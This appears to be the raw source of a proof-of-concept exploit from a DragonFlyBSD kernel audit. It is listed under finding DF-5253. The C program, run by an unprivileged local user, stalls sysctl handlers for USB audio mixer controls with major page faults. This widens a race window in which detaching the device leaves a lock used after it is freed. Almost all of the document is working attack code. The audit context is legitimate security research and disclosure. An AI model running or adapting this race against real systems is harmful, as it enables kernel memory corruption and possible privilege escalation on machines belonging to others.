⬢ DragonFlyBSD Kernel Audit
DF-5253 / hammer2.c
← back to finding ↓ download raw
/*
 * DF-5253 race hammer v2 - unprivileged local user.
 *
 * Same sysctl read+write ops on the uaudio mixer ctl, but oldp/newp point
 * into a file-backed mapping that is MADV_DONTNEED'd before every syscall,
 * so the kernel handler blocks in a major page fault inside
 * sysctl_handle_int() - the exact window between its first lockmgr release
 * and the second lockmgr (uaudio.c:2764..2772) - for milliseconds instead
 * of microseconds. If the USB audio device is detached in that window,
 * mixer_uninit() has freed sc_mixer_lock (snd_mtxfree) and the second
 * lockmgr operates on freed (likely reused) memory.
 */
#include <sys/types.h>
#include <sys/sysctl.h>
#include <sys/mman.h>
#include <fcntl.h>
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <unistd.h>

int
main(int argc, char **argv)
{
	const char *ctls[3] = {
		"dev.pcm.0.mixer.vol_0_0.val",
		"dev.pcm.0.mixer.vol_0_1.val",
		"dev.pcm.0.mixer.mute_1.val",
	};
	int fd;
	unsigned char *map;
	size_t ps = 4096;
	size_t maplen = 128u << 20;	/* 128 MB of distinct pages */
	size_t off = 0;
	int *oldp, *newp;
	size_t ol, nl;
	unsigned long n = 0;
	int i;
	char path[128];

	fd = open("/var/tmp/df5253.big", O_RDWR | O_CREAT, 0600);
	if (fd < 0) { perror("open"); return 1; }
	if (ftruncate(fd, maplen) != 0) { perror("ftruncate"); return 1; }
	/* pre-touch every page so they are real blocks, not holes */
	{
		size_t o;
		for (o = 0; o < maplen; o += ps) {
			if (pwrite(fd, &o, 4, (off_t)o) != 4) {
				perror("pwrite"); return 1;
			}
		}
		fsync(fd);
	}
	map = mmap(NULL, maplen, PROT_READ | PROT_WRITE, MAP_SHARED, fd, 0);
	if (map == MAP_FAILED) { perror("mmap"); return 1; }
	snprintf(path, sizeof(path), "/tmp/hammerc2.%d.count", (int)getpid());
	for (;;) {
		for (i = 0; i < 3; i++) {
			/* move to a page we have never touched in this
			 * mapping - guaranteed major fault -> the in-kernel
			 * copyout/copyin blocks on disk I/O for ~ms */
			off += ps;
			if (off >= maplen - ps)
				off = 0;
			oldp = (int *)(map + off);
			newp = (int *)(map + off + 16);
			ol = 4;
			nl = 4;
			sysctlbyname(ctls[i], oldp, &ol, newp, nl);
		}
		n++;
		if ((n & 0xFFFF) == 0) {
			FILE *f = fopen(path, "w");
			if (f) { fprintf(f, "%lu\n", n); fclose(f); }
		}
	}
}